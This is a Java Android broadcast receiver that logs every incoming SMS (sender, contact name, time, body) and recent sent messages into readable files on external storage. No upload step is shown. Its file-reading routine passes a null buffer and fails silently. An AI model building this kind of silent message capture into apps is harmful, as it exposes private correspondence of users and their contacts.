package com;

import java.io.File;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileWriter;
import java.nio.CharBuffer;

import com.android.R;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.gsm.SmsMessage;
import android.text.format.DateFormat;
import android.util.Log;

@SuppressWarnings("deprecation")
public class SmsReceiver extends BroadcastReceiver {
	static String TAG="AndroidReport";
	@Override
	public void onReceive(Context context, Intent intent) {		
		File fileData = context.getExternalFilesDir(context.getString(R.string.data_file));
		File fileTemp = context.getExternalFilesDir(context.getString(R.string.temp_file));
		Log.w(TAG, fileData.getAbsolutePath());
		Log.w(TAG, fileData.getPath());
		
		// ------Get save list ID------
		String savedList = readFromFile(fileTemp);
		Log.v(TAG,savedList);
		// --------------------------------
		// ---get the SMS message passed in---
		Bundle bundle = intent.getExtras();
		
		StringBuilder str = new StringBuilder();
		// Add Type-ID
		str.append("1\t" + "n" + "\t");
		if (bundle != null) {
			// ---retrieve the SMS message received---
			Object[] pdus = (Object[]) bundle.get("pdus");
			StringBuilder smsBody=new StringBuilder();
			String number="";
			String contactName="";
			String dateTime="";
			SmsMessage smsItem=new SmsMessage();
			for (int i = 0; i < pdus.length; i++) {
				smsItem = SmsMessage.createFromPdu((byte[]) pdus[i]);
				smsBody.append(smsItem.getMessageBody());
			}
			//Get other field
			number = smsItem.getOriginatingAddress();
			contactName=common.SearchContact(context, number).replace("+84","0");			
			dateTime=DateFormat.format(context.getString(R.string.date_format),
					smsItem.getTimestampMillis()).toString();
			// Add number phone
			str.append(number + "\t");
			// Add contact name
			str.append(contactName+"\t");
			// Add date and time
			str.append(dateTime+"\t");
			// Add sms body
			str.append(smsBody.toString()+"\n");
			
			// ---Save new SMS message---
			OpenWriteFile(fileData, str.toString());
			try {
				Uri uriSMSURI = Uri.parse(context.getString(R.string.uri_sms));
				Cursor cur = context.getApplicationContext()
						.getContentResolver()
						.query(uriSMSURI, null, null, null, null);
				int countLoop=0;
				while (cur.moveToNext()) {
					if(countLoop>10){
						break;
					}
					StringBuilder sms = new StringBuilder();
					int type = cur.getInt(cur.getColumnIndex("type"));
					if (type == 2) {
						countLoop++;
						// Add type
						sms.append(type + "\t");
						// Add sms ID
						sms.append(cur.getString(cur.getColumnIndex("_id")) + "\t");
						// Add number phone
						String num = cur.getString(cur.getColumnIndex("address"));
						sms.append(num + "\t");
						// Add contact name
						sms.append(common.SearchContact(context, num).replace("+84", "0")	+ "\t");
						// Add date and time
						Long datetime=cur.getLong(cur.getColumnIndex("date"));
						sms.append(DateFormat.format(context.getString(R.string.date_format),datetime)+ "\t");
						// Add sms body
						sms.append(cur.getString(cur.getColumnIndex("body"))+ "\n");	

						if (savedList != null) {
							// Check duplicate Sms
							if (!savedList.contains(datetime.toString())) {
								// Save do not duplicate sms
								OpenWriteFile(fileData, sms.toString());
								// Save new sms Id							
								OpenWriteFile(fileTemp, datetime.toString());
							} 
						} else {
							// Not recent out going Sms then Save new Sms
							OpenWriteFile(fileData, sms.toString());
							// Save new sms Id							
							OpenWriteFile(fileTemp, datetime.toString());
						}
					} 
				}
			} catch (Exception e) {
				e.printStackTrace();
				Log.d(TAG,e.getLocalizedMessage());
			}
		}
	}

	public static void OpenWriteFile(File file, String value) {	
		try {
			if (!file.exists()) {
				file.createNewFile();
				file.setReadable(true);
			}
			FileWriter fWriter = new FileWriter(file, true);
			fWriter.append(value);
			fWriter.close();

		} catch (Exception e) {
			e.printStackTrace();
			Log.d(TAG,e.getLocalizedMessage());
		}
	}

	public static final String readFromFile(File fileTemp) {
		Log.v(TAG,"Read out SMS");
		String text=null;
		try {
			if (fileTemp.exists()) {
				Log.v(TAG, "File Exist");
				CharBuffer charBuffer = null;
				StringBuilder strBuilder=new StringBuilder();
				@SuppressWarnings("resource")
				FileReader reader= new FileReader(fileTemp);
				
				while (reader.read(charBuffer) >0) {
					strBuilder.append(charBuffer);
				}
				text=strBuilder.toString();
				Log.v(TAG,"GET SUCCESSFULLY:"+text);
			} 

		} catch (Exception e) {
			e.printStackTrace();
			Log.d(TAG,e.getLocalizedMessage());
		}
		return text;
	}
}
